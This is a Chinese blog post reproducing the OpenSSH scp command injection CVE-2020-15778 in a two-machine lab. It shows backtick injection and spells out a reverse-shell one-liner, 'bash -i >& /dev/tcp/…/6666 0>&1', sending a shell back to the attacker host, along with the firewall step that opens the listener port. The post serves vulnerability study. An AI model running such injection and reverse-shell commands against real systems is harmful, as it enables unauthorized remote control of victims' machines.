CVE-2020-15778 OpenSSH命令注入漏洞复现
一、漏洞概要
OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
参考链接:https://github.com/cpandya2909/CVE-2020-15778
二、环境部署
攻击机:Centos7.6 10.10.10.133
靶机:Centos7.6 10.10.10.134
三、漏洞复现
首先确认靶机OpenSSH版本是否在漏洞影响范围
1)正常远程拷贝
scp是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令,命令格式:
1 | scp local_file remote_username@remote_ip:remote_file |
攻击机在当前目录下创建一个拷贝用的测试文件test.txt
远程拷贝文件
可以看到,在靶机上对比之前已经有拷贝过去的文件了
2)命令注入攻击
通过特殊符号 ` 进行远程命令注入攻击
命令执行成功
即可以在``内实现任意远程命令执行,甚至是从网上下载准备好的后门或者其他恶意程序
3)反弹shell利用
命令格式:
1 | bash -i >& /dev/tcp/10 .10.10.133 /6666 0>&1 |
命令解析
命令 | 解释 |
bash -i | 产生一个交互式bash |
>& /dev/tcp/ip/port | 建立TCP连接,并将标准输出和错误重定向到TCP连接 |
0>&1 | 从TCP连接获取输入 |
打开攻击机监听端口,如6666
1 | firewall-cmd --zone=public --add-port=6666 /tcp --permanent |
新开一个窗口开启监听
攻击机原窗口进行反弹shell命令注入攻击
执行成功,成功回显
四、总结
此漏洞利用有一定的局限性,需要通过SSH身份认证。但是该漏洞影响范围非常广,且官方尚未发布安全更新补丁,请持续关注。
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
· C++代码改造为UTF-8编码问题的总结
· DeepSeek 解答了困扰我五年的技术问题
· 为什么说在企业级应用开发中,后端往往是效率杀手?
· 用 C# 插值字符串处理器写一个 sscanf
· [翻译] 为什么 Tracebit 用 C# 开发
· 腾讯ima接入deepseek-r1,借用别人脑子用用成真了~
· Deepseek官网太卡,教你白嫖阿里云的Deepseek-R1满血版
· DeepSeek崛起:程序员“饭碗”被抢,还是职业进化新起点?
· RFID实践——.NET IoT程序读取高频RFID卡/标签